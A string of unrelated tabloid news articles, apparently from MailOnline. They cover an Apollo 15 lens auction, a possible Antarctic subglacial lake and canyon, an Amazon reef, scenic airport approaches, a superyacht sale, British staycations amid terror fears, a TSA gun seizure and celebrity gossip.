THE ZEISS CAMERA LENS The colour was selected so that the internal temperature of the lens stayed consistent in the 100C heat on the moon's surface 'This special lens unit was an integral part of the Hasselblad Camera that I used throughout the four lunar surface missions at the Hadley Apennine site as well as two days in lunar orbit,' said Dave Scott, the astronaut who operated the camera. Finished in silver, the colour was selected so that the internal temperature of the lens stayed consistent in the 100C heat on the moon's surface. While the camera lens was selected for its durability and reliability, its massive ability to adjust to focus for shots meant that it was particularly suitable for use with the astronauts' pressurised gloves on their space suits. 'After our three days on the moon, it was returned to the Command Module in lunar orbit where it was used for two more days to photograph the surface of the moon.' With a reserve of $400,000 to $600,000 (284,310 to 426,470) the lens was on auction alongside other historical space artefacts such as a life-sized replica of the Mercury capsule. In total the camera lens was use to take 293 images of the moon's surface, which were later used by Nasa as part of their scientific and exploration research. Advertisement

The 500mm Zeiss lens is 12-inches (30.5 cm) long. After three days on the moon, it was returned to the Command Module in lunar orbit where it was used for two more days to photograph the surface of the moon

While the camera lens was selected for its durability and reliability, its massive ability to adjust to focus for shots meant that it was particularly suitable for use with the astronauts' pressurised gloves on their space suits.

'After our three days on the moon, it was returned to the Command Module in lunar orbit where it was used for two more days to photograph the surface of the moon,' continued Scott.

'After the mission, I received the lens from Nasa as a memento of the mission and it has been in my personal collection since that time.'

In total the camera lens was use to take 293 images of the moon's surface, which were later used by Nasa as part of their scientific and exploration research.

A photo of Pluton, a large crater located in the North Complex, about 1.55 miles (2.5km) north-east of Lunar Module, taken by the Zeiss lens (left) and a 500mm telephoto of the Lunar Module, Falcon, taken from a point near Silver Spur crater by the Zeiss camera lens (right)

While the camera lens was selected for its durability and reliability, its massive ability to adjust to focus for shots meant that it was particularly suitable for use with the astronauts' pressurised gloves on their space suits (picture of Dave Scott on the moon in a space suit is shown)

As part of the lot, Scott also provided descriptions of four of the photos the lens was used to capture, depicting the Rille Wall, Falcon, Pluton and Silver Spur.

Robert Livingston, Executive VP at RR Auction, said: 'This lens allowed Commander Scott to take amazingly clear images of areas far from reach during the mission that would have otherwise been impossible to obtain.

'The holy grail of space collectables are those that have made it to the moon.

'This is a quintessential piece of photographic equipment used extensively on the lunar surface, making it a truly remarkable flown artefact from Apollo 15.'

As part of the lot, Scott also provided descriptions of four of the photos the lens was used to capture, depicting the moon features Rille Wall, Falcon, Pluton and Silver Spur, along with a letter confirming the authenticity of the lens (pictured)

The lens cap is even signed 'D. R. Scott' in felt tip. As an astronaut, Scott became the seventh person to walk on the Moon as commander of the Apollo 15 mission in 1971, the fourth human lunar landing
A huge lake, around 60 miles (100km) long by 6 miles (10km) wide, may be buried beneath the East Antarctic ice sheet.

Evidence of the lake can be seen in a series of grooves, which seem to cut across more than 600 miles (1000km) of Princess Elizabeth Land.

If it exists, scientists say it could harbour unique life forms that may have evolved on their own under ice for millions of years.

Scroll down for video

Deep below the thick ice that covers the Antarctic region, geologists have discovered hints of a subglacial lake and the world's biggest canyon measuring a staggering 621 miles long (1,000km). The previously unknown chasm (marked between the black lines) 'is said to bigger than the UK'

The first hints of the lake were presented at the European Geosciences Union Meeting in Vienna this week.

Researchers say the linear grooves, which were spotted in satellite imagery, may have been created from the outflow from the lake.

The long channels appear o spread for more than 600 miles (1,000km) towards the eastern coast of Antarctica on Princess Elizabeth Land, between Vestfold Hills and the West Ice Shelf.

The estimate the ribbon-shaped subglacial lake covers an area nearly 400 square miles (1000 square kilometers).

This makes it more than 80 times as big as Lake Windermere in the Lake District.

'We've seen these strange, linear channels on the surface, and are inferring these are above massive, 1000-kilometre-long channels, and there's a relatively large subglacial lake there too,' Martin Siegert of Imperial College London told New Scientist.

A huge lake, around 60 miles (100km) long by 6 miles (10km) wide, may be buried beneath the East Antarctic ice sheet. It is believed to be close to the Vostok station (pictured), a Russian Research Station located in Princess Elizabeth Land, East Antarctica

The canyon is located in the white box shown on Princess Elizabeth Land (pictured top). Its general location is marked using the yellow box bottom. The canyon is believed to have been carved by water but it's not known whether the canyon was formed before the ice sheet grew, or if it was created by water flowing after

In size, it is second only to Lake Vostok, the fourth deepest lake on Earth and the largest of Antarctica's subglacial lakes.

But the new lake may be buried much closer to a research station, allowing scientists more opportunity to study its features.

THE WORLD'S LARGEST CANYON The news follows an announcement in January that geologists had discovered the world's biggest canyon measuring 621 miles long. The previously unknown chasm 'is said to bigger than the UK' and around half a mile (1km) deep in places. It is located in Princess Elizabeth Land in Antarctica. The previous record for the longest canyon in the world was achieved in 2013 - also below the ice - but in Greenland. That mega canyon was found to be 750km (460miles) long. The canyon is believed to have been carved by water. It is not known whether the canyon was formed before the ice sheet grew or if it was created by water flowing and eroding beneath the ice. Experts also believe the canyon may be connected to another previously undiscovered, underground feature - a vast subglacial lake that at 482 square miles (1,250 square km) is more than 80 times as big as Lake Windermere in the Lake District. Advertisement

'It's really nice to see some new techniques for revealing the characteristics of the last 'pole of ignorance',' says Christine Dow, of the Nasa Goddard Space Flight Center in the US.

'The potential discovery of large canyons and lakes could have a big impact on our understanding of tectonic and hydrological evolution in this part of the ice sheet.'

The news follows an announcement in January that geologists had discovered the world's biggest canyon measuring a staggering 621 miles long (1,000km).

The previously unknown chasm 'is said to bigger than the UK' and around half a mile (1km) deep in places.

The record for the longest canyon in the world was achieved in 2013 - also below the ice - but in Greenland. That mega canyon is a mere 460miles (750km) long.

The Grand Canyon, in Arizona, while of a similar depth, at 277 miles (445km) long is also dwarfed in comparison.

This involves sending radio waves through the ice to map the rock contours below.

Because very few measurements of the thickness of the ice have been carried out in this area, it has been dubbed by scientists one of Antarctica's 'two poles of ignorance'.

The canyon is believed to have been carved by water.

It is not known whether the canyon was formed before the ice sheet grew or if it was created by water flowing and eroding beneath the ice.

Experts also believe the canyon may be connected the vast subglacial lake.

Canyons above land are typically formed by rivers over the course of millions of years.

These waterways gradually eroded the rock walls and carried the pieces downstream.

For example, the Grand Canyon in Arizona is believed to have been carved out by the Colorado River.

A team led by British scientists said that the discovery shows how we know less about parts of the Earth than we do of the surface of Mars.

The as-yet unnamed canyon was discovered by examination of satellite imagery. Radio echo-sounding was carried out on sections the canyon. This involves sending radio waves through the ice to map the rock contours below. The canyons beneath the sheet are highlighted using the black lines

Experts also believe the canyon may be connected to another previously undiscovered, underground feature - a vast subglacial lake that at 482 square miles (1,250 square km) is more than 80 times as big as Lake Windermere in the Lake District. An illustration showing the spread of the ice sheet is pictured

WHAT IS RADIO-ECHO SOUNDING? Radio-echo sounding (RES) is also known as radioglaciology and is the study of glaciers and ice sheets using radar. It is sometimes referred to as 'ice-penetrating radar' and uses a similar method to ground-penetrating radar (GPR). GPR uses electromagnetic radiation in the microwave band of frequencies on the radio spectrum, and detects the signals from structures found beneath the surface. The type of signals vary depending on their source. For example, rocks had a different signature to soil, ice and water. The application of radio-echo sounding to measure the thickness of glacial and sheet ice has been used since the early 1960s. Advertisement

Lead researcher, Dr Stewart Jamieson, from the Department of Geography at Durham University in the UK, said: 'Our analysis provides the first evidence that a huge canyon and a possible lake are present beneath the ice in Princess Elizabeth Land.

'It's astonishing to think that such large features could have avoided detection for so long.

'This is a region of the Earth that is bigger than the UK and yet we still know little about what lies beneath the ice.

'In fact, the bed of Antarctica is less well known than the surface of Mars. If we can gain better knowledge of the buried landscape we will be better equipped to understand how the ice sheet responds to changes in climate.'

Radio-echo sounding (RES) is also known as radioglaciology and is the study of glaciers and ice sheets using radar.

It is sometimes referred to as 'ice-penetrating radar' and uses a similar method to ground-penetrating radar (GPR).

GPR uses uses electromagnetic radiation in the microwave band of frequencies on the radio spectrum, and detects the signals from structures found beneath the surface.

This graphic shows where Princess Elizabeth Land is in relation to the South Pole, in East Antarctica. It also shows the boundaries of where researchers believe the canyons lie, as well as the sub glacial lake

The type of signals vary depending on their source. For example, rocks had a different signature to soil, ice and water.

The application of radio-echo sounding to measure the thickness of glacial and sheet ice has been used since the early 1960s.

Co-Author Dr Neil Ross from Newcastle University, said: 'Antarctic scientists have long recognised that because the way ice flows, the landscape beneath the ice sheet was subtly reflected in the topography of the ice sheet surface.

'Despite this, these vast deep canyons and potential large lake had been overlooked entirely.

Professor Martin Siegert, from the Grantham Institute at Imperial College London, UK, said further research to confirm the discovery is underway and the team hopes to announce further findings at a conference at Imperial College later this year.

The British researchers formed part of a research team including the University of Texas at Austin, University of Western Australia, University of Tasmania in Australia, and the Polar Research Institute of China.
A massive new reef system has been found at the mouth of the Amazon River, the largest river by discharge of water in the world.

Researchers were stunned to find the huge 3,600 sq mile (9,300 sq km) coral reef system below the muddy waters.

The 600-mile long reef, which ranges from about 30-120m deep and stretches from French Guiana to Brazil's Maranhao state.

Researchers were stunned to find the huge 3,600 sq mile (9,300 sq km) coral reef system below the muddy waters at the mouth of the Amazon.

A REEF ALREADY UNDER THREAT According to the paper, the Brazilian government has sold 80 blocks for oil exploration and drilling at the mouth of the Amazon and 20 of these are already producing oil  some, it is thought, right on top of the reef. 'Such large-scale industrial activities present a major environmental challenge,' said the study's authors. Advertisement

Researchers say the find was not suspected because many of the world's great rivers produce major gaps in reef systems, where no corals grow.

The Amazon plume, an area where freshwater from the river mixes with the salty Atlantic Ocean, affects a broad area of the tropical North Atlantic Ocean in terms of salinity, pH, light penetration and sedimentation, conditions that usually correlate to a major gap in Western Atlantic reefs.

The researchers say the reef appears to be thriving below the freshwater 'plume', or outflow, of the Amazon.

Compared to many other reefs, the scientists say in a paper in Science Advances on Friday, it is is relatively 'impoverished'.

Despite this, they found over 60 species of sponges, 73 species of fish, spiny lobsters, stars and much other reef life.

'We brought up the most amazing and colorful animals I had ever seen on an expedition,' said Patricia Yager, an associate professor of marine sciences in UGA's Franklin College of Arts and Sciences and principal investigator of the River-Ocean Continuum of the Amazon project.

Researchers were stunned to find the huge 3,600 sq mile (9,300 sq km) coral reef system below the muddy waters.

The 600-mile long reef, which ranges from about 30-120m deep and stretches from French Guiana to Brazil's Maranhao state.

'Our expedition into the Brazil Exclusive Economic Zone was primarily focused on sampling the mouth of the Amazon,' said'But Dr. Moura had an article from the 1970s that mentioned catching reef fish along the continental shelf and said he wanted to try to locate these reefs.'

The difficulty of finding the old map coordinates with modern GPS notwithstanding, the team used multibeam acoustic sampling of the ocean bottom to find the reef and then dredged up samples to confirm the discovery.

The Brazilian researchers then organized a full team and took a Brazilian Navy research vessel back to the site in 2014, when they were able to collect and fully describe the findings for the study.

However, the reef is already in danger.

Researchers found over 60 species of sponges, 73 species of fish, spiny lobsters, stars and much other reef life.

The Brazilian researchers organized a full team and took a Brazilian Navy research vessel back to the site in 2014, when they were able to collect and fully describe the findings for the study. Shown, the The University of Georgia's Patricia Yager, center, oversees ocean sampling equipment on board the RV Atlantis before it's lowered into the Amazon River plume.

According to the paper, the Brazilian government has sold 80 blocks for oil exploration and drilling at the mouth of the Amazon and 20 of these are already producing oil  some, it is thought, right on top of the reef.

'These [exploration] blocks will soon be producing oil in close proximity to the reefs, but the environmental baseline compiled by the companies and the Brazilian government is ... largely based on sparse museum specimens.

'Such large-scale industrial activities present a major environmental challenge,' said the study's authors.

Microorganisms thriving in the dark waters beneath the river plume may provide the connection between the river and the reef.

'From ocean acidification and ocean warming to plans for offshore oil exploration right on top of these new discoveries, the whole system is at risk from human impacts,' said Yager.

'The paper is not just about the reef itself, but about how the reef community changes as you travel north along the shelf break, in response to how much light it gets seasonally by the movement of the plume,' said Yager, who spent two months in Brazil as a Science Without Borders visiting professor.

'In the far south, it gets more light exposure, so many of the animals are more typical reef corals and things that photosynthesize for food.
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Famed for its stunning scenery, rocky coastline and crystal-clear waters, the Mediterranean archipelago of Malta has been named the most scenic airport approach in the world.

The European island nation claimed top spot in a recent poll of air travellers and experts, edging previous winners Nice, France - a fellow Mediterranean hotspot - and Queenstown, New Zealand.

Passengers praised the winner for an incredible approach where the islands of Malta and Gozo fit into the window with a blend of colours from the blue sea, green landscape and cities and temples below.

Joe Sharkey, a former New York Times travel writer who was part of the panel that formed the shortlist for the public vote by PrivateFly, a private jet booking service, said: 'Approached from a churning blue sea, the tiny, isolated rocky island nation suddenly appears and you immediately understand Malta's strategic geo-political importance for literally millennia by sea and later air in the middle of the Mediterranean.'

After Malta, Nice and Queenstown, fourth place went to Barra in Scotland's Outer Hebrides, while fifth spot went to the Dutch Caribbean island of Saba.

Toronto's Billy Bishop Airport was sixth, followed by Donegal Airport in Ireland, St Maarten Airport in the Caribbean, Los Angeles International and London City Airport.

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1. Malta

Malta topped this year's poll by PrivateFly thanks to its stunning scenery

As fliers land at Malta they're treated to stunning views of Valletta, the island nation's historic capital

More than one million tourists visit Malta every year and they're treated to sights like this when they land at its international airport

Passengers praised the winner for an incredible approach where the islands of Malta, Comino (pictured) and Gozo fit into the window

2. Nice, France

Set on the stunning French Riviera, or Cote d'Azur, Nice is sandwiched between the Mediterranean Sea and the Alps

The nearest public airport to Cannes and Monaco, Nice Cote d'Azur International is located between two bays with shimmering blue water

3. Queenstown, New Zealand

Last year's winner PrivateFly's annual vote, Queenstown, New Zealand, was bumped down two spots in this year's poll

Located on the shore of Lake Wakatipu at the Southern Alps, Queenstown is a gateway to some of New Zealand's beautiful scenery

4. Barra, Scotland

Tiny Barra Airport, in Scotland's Outer Hebrides, is one of very few in the world where scheduled flights use the tidal beach as a runway

The island is one of the most southerly of the inhabited islands in the Outer Hebrides and is only five miles wide by eight miles long

5. Saba

Stunning Saba Airport, in the Caribbean, boasts the shortest commercial airport runway in the world at the base of a mountain

Pilots of small aircraft face a significant challenge at Saba as the 1,300ft runway is on the edge of a cliff that plunges into the sea

6. Toronto

Passengers enjoy a stunning view of Toronto's downtown skyline, including the CN Tower, when they land at Billy Bishop Airport

Located on Toronto Island in the city's harbour, Billy Bishop Toronto City Airport is Canada's ninth busiest airport

7. Donegal Airport, Carrickfinn, Ireland

Passengers loved the approach to Donegal Airport for its views of a beautiful beach, the town of Carrickfinn and majestic Mount Errigal

8. St Maarten

The international airport at St Maarten, a Dutch Caribbean country, may provide for the most extreme landing in the world

Planes fly low over the sea and then just above tourists, who regularly gather on the beach below, before landing on the runway

9. Los Angeles

On approach to LAX, passengers can gaze at downtown Los Angeles, the San Gabriel mountains, and the iconic Hollywood sign

Depending on the direction of the plane, passengers can also admire California's stunning shore on the Pacific Ocean

10. London

Flying into London City Airport is a thrill for travellers, who can snap photos of sights such as Tower Bridge and Houses of Parliament
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A striking submarine-inspired superyacht owned by a Russian tycoon has reportedly gone on the market  and it could fetch as much as $300million (209million).

Billionaire industrialist Andrey Melnichenko, who has made his vast fortune with investments in coal, fertilisers and banking, has no need for Motor Yacht A after replacing it with the grander Sailing Yacht A.

With three swimming pools, including one with a glass floor, luxurious cabins and an unconventional design that has proven to be somewhat controversial, the 390ft Motor Yacht A is one of the 25 largest superyachts in the world.

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Motor Yacht A, a submarine-inspired superyacht owned by Russian tycoon Andrey Melnichenko, has reportedly gone on the market

Superyacht observers say the stunning 390ft vessel could sell for as much as $300million (209million) if the right buyer is found

The ultra-luxurious Motor Yacht A features an unconventional design and bears a resemblance to a military-style submarine

The superyacht (pictured in Malibu, California) has garage space for a number of water toys and two custom-built tenders

Melnichenko, 44, is selling Motor Yacht A after spending a reported $450million to build the incredible Sailing Yacht A (pictured)

TALE OF THE TAPE: HOW DOES MOTOR YACHT A STACK UP AGAINST SAILING YACHT A? Billionaire Andrey Melnichenko currently owns two of the world's largest superyachts. Here's how they stack up: Motor Yacht A Launched: 2008 Builder: Blohm + Voss (Hamburg, Germany) Designer: Philippe Starck Cost: Reported $320million (223million) Length: 119 metres (390ft) World's 21st largest superyacht Guests: 14 Crew: 42 Maximum speed: 23 knots (26 mph) Cruising speed: 19.5 knots (22 mph) Flag: Bermuda Sailing Yacht A Launched: Still under construction, sea trials in 2015 Builder: Nobiskrug (Rendsburg, Germany) Designer: Philippe Starck Cost: Reported $450million (313million) Length: 142.8 metres (468.5ft) World's 9th largest superyacht Guests: 20 Crew: 54 Maximum speed: 21 knots (24mph) Cruising speed: 16 knots (18 mph) Flag: Bermuda Advertisement

Melnichenko, who is said to have a net worth of $10.2bn (7.1bn), is one of the richest people in the world, spending a reported $320million (223million) on the custom-built Motor Yacht A.

Launched in 2008, the luxury vessel resembles a military-style submarine, but is nothing short of extravagant.

It boasts an opulent lounge with floor-to-ceiling windows, wood and leather furniture, and a spacious owners cabin that is larger than most apartments in London or New York and is said to have bomb-proof glass and a rotating bed.

Three spa pools with current-generating technology are spread throughout the yacht, and one has a glass floor that passengers can look into from the lower deck, reported Yacht Harbour.

Melnichenko, who has assets in the coal and fertiliser sectors, launched Motor Yacht A (pictured in Tenerife, Spain) in 2008

The 390ft Motor Yacht A is one of the 25 largest superyachts in the world and dwarfs most vessels that it encounters

With three swimming pools, including one with a glass floor, luxurious cabins, Motor Yacht A was reportedly built for $320million

There are seven luxurious cabins for up to 14 guests and accommodation for 42 crew members.

Powered by two diesel engines, the yacht has a top speed of 23 knots (26.4 mph) and a cruising speed of 19.5 knots (22.4 mph), with a range of 6,500 nautical miles. Over the years it has been spotted in places such as Honolulu, Malibu, Monaco, Puerto Rico, Turkey and Thailand.

The Belarus-born Melnichenko lives a glamorous, jet-setting lifestyle with his wife, Aleksandra, a former model and pop star from Serbia. In addition to two massive yachts, he owners a customised Boeing 737 private jet, a villa in the French Riviera, a penthouse in New York and a sprawling estate near Ascot, England.

A spokesperson for Melnichenko said he could 'neither confirm nor deny or offer comment on' reports that Motor Yacht A is for sale.

It was built by leading shipyard Blohm + Voss in Hamburg, Germany, and designed by Frenchman Philippe Starck, a renowned contemporary designer who is responsible for the look of Melnichenkos new toy, Sailing Yacht A.

'THE KING OF BLING': WHO ARE ANDREY MELNICHENKO AND HIS GLAMOROUS WIFE ALEKSANDRA? Thanks to their wealth and famous friends, Andrey and Aleksandra Melnichenko are one of the most glamorous couples in the world Born in Gomel, Belarus, during Soviet rule, 44-year-old Andrey Melnichenko is one of the richest citizens of Russia and the world, with a reported net worth of $10.2bn (7.1bn), according to Forbes. That puts the self-made billionaire industrialist in 139th spot on Forbes' list of the world's wealthiest people. In 2014, Melnichenko, a father of one, amassed his vast fortune in the banking, energy and mining sectors, and, Forbes reported, is the majority owner of nitrogen and phosphate fertiliser producer EuroChem, SUEK (Siberian Coal Energy Company), one of the world's largest coal producers, and Siberian power generator SGK. Together with his wife, Aleksandra, a former model and pop star from Serbia, who turns 39 this year, he forms one of the most glamorous couples in the world. The couple met in the South of France in 2003 and within two years were married in the same spot in an extravagant 3million wedding which included performances by pop stars Whitney Houston and Christina Aguilera, along with Spanish singing legend Julio Iglesias. Moscow-based Melnichenko paid singer Jennifer Lopez $2million to perform at his wife's lavish 30th birthday bash at their English mansion in Ascot, and the pair regularly throws sailing parties attended by the rich and famous. In 2008, rocker Lenny Kravitz performed at their third wedding anniversary bash on Motor Yacht A. Three years later rapper Snoop Dogg entertained partygoers in a specially-built mirrored disco room while Aleksandra partied in a lime-green Givenchy mermaid gown. Mrs Melnichenko once told Harper's Bazaar: 'The boat is perfect for parties, and we are always looking forward to the next one.' In addition to two of the world's largest superyachts and a sprawling estate in Berkshire, west of London, the couple owns a villa in the French Riviera, a duplex penthouse in New York, a flat in London and a customised Boeing 737 private jet. Their multimillion-dollar art collection includes works by French impressionist painter Claude Monet. Advertisement

Motor Yacht A boasts an opulent lounge with floor-to-ceiling windows, wood and leather furniture, and a spacious owners cabin

Three spa pools that generate currents are spread throughout the yacht, and one has a glass floor that looks down on the lower deck

Dimitri Semenikhin, founder of Yacht Harbour, told MailOnline Travel: Motor Yacht A is a unique boat in terms of its design and there is quite literally nothing like it on the market.

If they were to find a buyer who would fall in love with the design, the price could go as far up as $300million.

It will, however, be a tough sell at such a price as the design is very polarising. People even hate or love it, and the yacht has less interior and exterior living space than what you would typically expect on a yacht this size.

He added: What makes A so unique is its shape and one-of-a-kind design that has organised living space on board in a very unusual way.

The buyer would have to be interested in at least a form of modern art and enjoy this typical design choice.

I've seen Motor Yacht A quite a few times in Monaco. It's extremely noticeable anywhere it goes, you can always find people snapping shots of it or pointing to it from the shore.

When you pass close to it, you do realise how huge and tall it is. The first open deck is also very high which makes it feel very secure.

Powered by two diesel engines, the yacht has a top speed of 23 knots (26.4 mph) and a cruising speed of 19.5 knots (22.4 mph)

With a range of 6,500 nautical miles, the yacht has been spotted in places such as Honolulu, Malibu, Monaco, Puerto Rico and Thailand

One superyacht expert said Motor Yacht A features a unique design 'and there is quite literally nothing like it on the market'

If Motor Yacht A finds a buyer it would likely prove to be the biggest sales of all time. Last year, the 439ft superyacht Serene was sold by Russian billionaire Yuri Scheffler for about $350million (244million), Yacht Harbour reported.

With the behemoth Sailing Yacht A, the 44-year-old oligarch decided it was time to upgrade to a brand new, custom-built vessel that offers more space and the latest in luxury and technology.

Featuring another unconventional design, Sailing Yacht A reportedly cost as much as $450million (313million) to build, or about $20million (14million) per guest.

It is ninth largest superyacht in the world, at a length of 468.5ft, and remains under construction at a dry dock after undergoing sea trials in 2015, said Melnichenko's spokesman.

The public was given its first look at the megayacht at Nobiskrugs shipyard in Rendsburg, Germany, last year.

The eight-deck vessel has masts that are nearly 330ft tall, eclipsing the height of London's Elizabeth Tower, which houses the Great Bell known as Big Ben, plus an underwater observation room with thick glass.

With Sailing Yacht A, Melnichenko has upgraded to a custom-built vessel that offers more space and the latest in luxury and technology

Sailing Yacht A reportedly cost as much as $450million (313million) to build, or about $20million (14million) per guest

The behemoth is currently the ninth largest superyacht in the world, at a length of 468.5ft, and is under construction at a dry dock

The eight-deck megayacht has masts that are nearly 330ft tall, eclipsing the height of London's Elizabeth Tower (Big Ben)

Sailing Yacht A has state-of-the-art technology, including a digital control system that has a touch sensitive sheet of black glass

It also boasts a digital control system that has a touch sensitive sheet of black glass, allowing the crew to raise and lower the sails and anchor with the swipe of their fingers.

Sailing Yacht A's keel incorporates one of the largest single pieces of curved glass ever made at 193 square feet, creating an observation pod on the bottom deck, and it is powered by a hybrid diesel-electric system at a top speed of 21 knots (24 mph).

While it may be slightly slower than Motor Yacht A, it is much larger and more luxurious with enough cabins to accommodate 20 guests and 54 crew members.

Semenikhin said: The new Sailing Yacht A is extremely different from any sailing yacht built before. It is much larger and has much more volume than any other sailing yacht.

While the focus is on its extravagance, Sailing Yacht A is one of the most advanced vessels of its kind and pushes boundaries in terms of maritime and sailing technology, naval design and nautical engineering.

It builds on the pioneering use of nautical engineering used in Motor Yacht A, which used a knife-like hull shape to leave almost no wake.

The carbon fibre masts were built by Magma Structures and will be the largest and most highly loaded composite freestanding structures in the world.

The main mast is so large that it contains a small room inside.
When it comes to holidays, it's safety first for Britons who, amid threats of terrorism, are opting for staycations ahead of trips abroad.

Two thirds of British people are now planning their summer breaks based on how safe they feel in the country 'rather than just chasing the sun', a study has revealed.

Safety, it said, is now British holidaymakers' 'most important factor', ahead of affordability and good weather.

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Bookings to St Ives (pictured) in Cornwall have rocketed more than 550 per cent over the past five years

TravelZoo, which conducted the study, revealed that 27 per cent of bookings for Britons' 'main summer holiday' were for domestic trips, making the UK a more popular destination than Spain, France, Italy and America.

The second-most popular destination was Spain, which accounted for 21 per cent of Britons' bookings, followed by France (10 per cent), the US and Italy (both eight per cent) and Greece, with seven per cent.

The staycation trend comes amid fears of terrorist attacks in foreign countries.

It was revealed recently that Isis is planning terror attacks across Europe this summer, targeting holidaying tourists by posing as ice cream and T-shirt sellers.

Following recent Jihadist atrocities in France, Belgium, Turkey, Tunisia and Egypt, a number of holidaymakers revealed that their current destination choice was impacted by existing travel restrictions on some of the affected countries.

Louise Hodges, European Head of Communications at Travelzoo, said: 'Despite the attempts of terrorists to disrupt our daily lives its great to see the great British public still insisting on their summer holiday.

Threat: Isis is reportedly sending jihadists to pretend to sell refreshments before detonating suicide vests and bombs buried under sun loungers at Spanish, French and Italian resorts, including Costa Del Sol in Spain (pictured)

2016 MOST POPULAR DESTINATIONS FOR BRITONS 1. UK - 27 per cent of travellers 2. Spain - 21 per cent of travellers 3. France - 10 per cent of travellers 4 (Joint). USA - 8 per cent of travellers 4 (Joint). Italy - 8 per cent of travellers 5. Greece - 7 per cent of travellers 6 (Joint). Canada - 5 per cent of travellers 6 (Joint). Germany - 5 per cent of travellers 6 (Joint). Portugal - 5 per cent of travellers 7 (Joint). Australia - 4 per cent of travellers 7 (Joint). Caribbean - 4 per cent of travellers 7 (Joint). Cyprus - 4 per cent of travellers Advertisement

'Its good to see theres still an incredibly strong appetite for summer holidays amongst the British public, for both European and longer-haul destinations.

'The research, however, does echo what our partners in the travel industry have been telling us.

'Although many Britons are still planning to get away this summer, they are now opting for what they perceive to be safe travel destinations, rather than simply chasing the sun.'

Another study conducted by hotel reservation website LateRooms.com also revealed a staycation trend among Britons.

The number of Brits visiting St. Ives in Cornwall, it said, had rocketed with bookings for the early May Bank Holiday up by 550 per cent compared to the same bank holiday five years ago.

The increase was closely followed by traditional resorts Bridlington and Skegness, both of which have seen a 250 per cent increase in bookings.

Hodges added: 'Britons opting for what they perceive to be safe travel destinations is in turn having a direct impact on the countries they are travelling to.

'Prices are higher to the Western Mediterranean than previous years and availability is undoubtedly lower - as we predicted earlier in the year many holidays there have already sold out.

'I have spoken with some UK suppliers who have had hotel stock withdrawn by Spanish hoteliers holding out for higher rates. At the other end some of the best deals we have ever seen can be had to Egypt, Morocco and Turkey for those determined not to have their holiday choices disrupted.'

Attack: Tourists lay flowers outside the Imperial Marhaba Hotel, in the popular tourist resort of al-Sousse, Tunisia, where 38 people were killed, including 30 UK nationals, in an attack last June

MailOnline reported earlier this week that intelligence sources had revealed that tourist destinations in Spain, Italy and France had been named as potential Isis targets.

German media reported that terrorists were sending jihadists to pretend to sell refreshments in the locations before detonating suicide vests and bombs buried under sun loungers.

The BND - Germany's equivalent of MI6 - learned from its Italian counterpart of the Isis plots to bring bloodshed to holiday resorts, popular daily newspaper BILD said.
A woman was caught attempting to bring a loaded gun and ammunition onto a flight in the US.

The traveller, from Virginia Beach, arrived at Norfolk International Airport on Thursday morning to board her flight to Newark in New Jersey.

Upon heading through security, she was stopped by a TSA officer who spotted a gun-shaped object in her luggage while it passed through the X-ray machine.

A woman was caught attempting to bring a loaded gun and ammunition onto a flight in the US

On inspection of the bag, officers discovered a 380 caliber handgun that was loaded with ammunition.

A further five rounds of ammunition was also discovered in the magazine of the gun.

TSA officers immediately called Airport Authority Police, which responded, confiscated the gun and issued the woman a citation on a state weapons charge.

She was then released and allowed to board her flight.

The airport warned that weapons - including firearms, firearm parts and ammunition - are not permitted in carry-on bags, but can be transported in checked bags if they are properly packed and declared to the airline.

The woman was stopped by a TSA officer who spotted a gun-shaped object in her luggage while it passed through the X-ray machine

Speaking to MailOnline Travel, a spokesman for the airport said: 'On April 21 at approximately 7:55am the Transportation Security Administration detected a handgun in the carry-on baggage of a female passenger at the security checkpoint at Norfolk International Airport in Norfolk, Virginia.

'The handbag was searched and revealed a soft gun case containing a loaded semi-automatic handgun with one round in the chamber and 5 rounds in the magazine.

'Norfolk Airport Authority police were notified. The firearm was confiscated and a summons was issued to the passenger for carrying a firearm in an airport terminal.
Reality star Yolanda Hadid's exes were seen out together this week.

The Real Housewives of Beverly Hills star split with estranged husband David Foster last December and with ex-husband Mohamed Hadid sixteen years ago.

But David and Mohamed's friendship has endured, as seen in an Instagram picture shared by Ladies of London reality star Caroline Stanbury on Instagram on Wednesday.

'When worlds collide,' she captioned the photo, which shows her with the two men as well as Mohamed's fiancee Shiva Safai.

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Having a good time with friends: David Foster poses with Mohamed Hadid, his fiancee Shiva Safai (L) and Caroline Stanbury (R)

Caroline shared the snap on Wednesday, using the hashtag '#realitytv.'

She also shared a second photo of Mohamed - who is the father of Yolanda's three children, models Gigi, 20, and Bella, 19, and Anwar Hadid, 16 - as he stood behind a tree, writing: '#peekaboo @mohamedhadid I see you.'

David and Yolanda were married for four years before they announced their split five months ago, amid her ongoing health woes with Lyme Disease.

During a season three episode of RHOBH, David explained how Mohamed introduced him to Yolanda.

Having a blast: Caroline also shared a second photo of Mohamed as he stood behind a tree, writing: '#peekaboo @mohamedhadid I see you'

David said he was planning on moving in with his friend Mohamed, but when he came to his house, he spotted pictures of Yolanda.

The captivated music producer asked Mohamed if he could be introduced to her, and they were married in 2011.

Previously, Mohamed and Yolanda were married from 1994 until 2000. He and Shiva became engaged in 2014.

Caroline also posed with Shiva in another Instagram picture, showing the pair enjoying a drink on Wednesday.

'Here we again mission accomplished we lost @mohamedhadid': Caroline also posed with Shiva in another Instagram picture; Sarah became engaged with Mohamed in 2014

'Here we go again mission accomplished,' she wrote.

Last week, Yolanda appeared on Watch What Happens Live, where she admitted to Bravo bigwig Andy Cohen that she felt 'blindsided' by the David's decision to divorce her.

'Yeah. I didn't think that was the end of the road,' the former model said. 'I would have hoped to wait until I got 100 percent well.'

'Blindsided': Yolanda admitted at the RHOBH reunion this week that she didn't think her marriage to David had reached 'the end of the road'

Posing pretty: On Tuesday, Yolanda shared a photo from the RHOBH reunion show, posing with cast members Erika Jayne, Kyle Richards, Lisa Vanderpump, Lisa Rinna, Eileen Davidson and Kathryn Edwards

When asked if she is still in contact with David, she told Andy: 'Yeah we are in touch a little bit here and there.'

On Tuesday, Yolanda shared a photo from the RHOBH reunion show, posing with cast members Erika Jayne, Kyle Richards, Lisa Vanderpump, Lisa Rinna, Eileen Davidson and Kathryn Edwards.

She captioned the Instagram snap: 'The past can not be changed, forgotten, edited or erased; It can only be accepted. #RHOBH #Reunion tonight @bravotv.'
She's been one of the most talked about contestants on the current season of My Kitchen Rules.

And while Zana Pali was eliminated from the Channel Seven competition on Thursday night, it may not be the last Australian television fans see of her.

Not only does her co-star and husband Gianni Romano believe the 25-year-old has the 'face for TV', but television executives seem to somewhat agree.

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Star in the making: My Kitchen Rules star Zana Pali (right) may very well be scoring another television gig after appearing on the Channel Seven show alongside husband Gianni Romano (left)

